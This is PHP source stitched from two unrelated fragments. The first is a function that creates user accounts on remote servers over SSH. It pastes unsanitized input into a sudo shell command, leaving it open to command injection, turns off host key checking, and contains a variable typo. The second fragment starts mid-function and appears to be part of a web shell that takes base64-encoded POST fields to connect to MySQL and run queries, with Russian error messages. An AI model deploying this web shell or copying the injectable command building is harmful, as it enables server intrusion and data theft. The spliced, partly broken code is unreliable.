function create_user_account($identity_name, $account_name, $hostname, $UID, $GID, $HOMEDIR, $GIDname, $id, $GECOS) { $output = array(); $OStype = get_os_type($id); if ($OStype == "Linux" || $OStype == "RHEL" || $OStype == "CentOS" || $OStype == "Solaris") { $command = "ssh -v -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/{$identity_name}-id {$identity_name}@{$hostname} -t \"sudo /usr/sbin/useradd"; if (!empty($HOMEDIR)) { $command .= " -m -d {$HOMEDIR}"; } if (!empty($UID)) { $command .= " -u {$UID}"; } if (!empty($GID)) { $command .= " -g {$GID}"; } if (!empty($GECOS)) { $command .= " -c '{$GECOS}'"; } $command .= " {$account_name}\" 2>&1"; } else { if ($OStype == "Unix") { $command = "ssh -v -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/{$identity_name}-id {$identity_name}@{$hostname} -t \"sudo /usr/bin/mkuser"; if (!empty($HOMEDIR)) { $command .= " home='{$HOMEDIR}'"; } if (!empty($UID)) { $command .= " id='{$UID}'"; } if (!empty($GIDname)) { $command .= " pgrp='{$GIDname}'"; } if (!empty($GECOS)) { $command .= " gecos='{$GECOS}'"; } $command .= " {$account_name}\" 2>&1"; //} //else if ( $OStype == "Solaris" ) //{ //useradd -u 999 -g skm -s /bin/bash -c 'usager SKM' skm //$command = "ssh -v -o BatchMode=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/$identity_name-id $identity_name@$hostname -t \"sudo /usr/bin/useradd"; //if ( !empty($HOMEDIR)) { $command .= " home='$HOMEDIR'"; } //if ( !empty($UID)) { $command .= " id='$UID'"; } //if ( !empty($GIDname)) { $command .=" pgrp='$GIDname'"; } //if ( !empty($GECOS)) { $command .=" gecos='$GECOS'"; } //$command .=" $account_name\" 2>&1"; } else { $command = "ERROR : OS {$OStpye} not supported for account creation"; } } exec($command, $output, $exit_status); display_command_output("Create user account", $exit_status, $output, $command, "error"); return $exit_status; }
$dir = @getcwd(); $unix = strlen($dir) > 1 && $dir[1] == ':' ? 0 : 1; if (empty($dir)) { $os = getenv('OS'); if (empty($os)) { $os = php_uname(); } if (empty($os)) { $unix = 1; } else { $unix = preg_match('/win/i', $os) ? 0 : 1; } } return $unix; } $is_unix = get_os_type(); $sdir = str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT'] . dirname($_SERVER['SCRIPT_NAME'])); $fname = basename($_SERVER['SCRIPT_NAME']); if (isset($_POST['sqlr']) && !is_array($_POST['sqlr'])) { $port = isset($_POST['port']) && !is_array($_POST['port']) ? isset($_POST['dump']) ? $_POST['port'] : @base64_decode($_POST['port']) : ''; $sqlr = isset($_POST['dump']) ? trim($_POST['sqlr']) : trim(@base64_decode($_POST['sqlr'])); $user = isset($_POST['sqluser']) && !is_array($_POST['sqluser']) ? isset($_POST['dump']) ? trim($_POST['sqluser']) : trim(@base64_decode($_POST['sqluser'])) : ''; $pass = isset($_POST['pass']) && !is_array($_POST['pass']) ? isset($_POST['dump']) ? trim($_POST['pass']) : trim(@base64_decode($_POST['pass'])) : ''; $dbname = isset($_POST['dbname']) && !is_array($_POST['dbname']) ? isset($_POST['dump']) ? trim($_POST['dbname']) : trim(@base64_decode($_POST['dbname'])) : ''; $host = isset($_POST['host']) && !is_array($_POST['host']) ? isset($_POST['dump']) ? trim($_POST['host']) : trim(@base64_decode($_POST['host'])) : ''; $sqlrun = isset($_POST['sqlrun']) && !is_array($_POST['sqlrun']) ? trim($_POST['sqlrun']) : ''; if (strlen($host) < 1) { if (isset($_POST['dump'])) { ifr_die('Не введён хост MySQL.'); } else { ajax_die("alert('Не введён хост MySQL.');");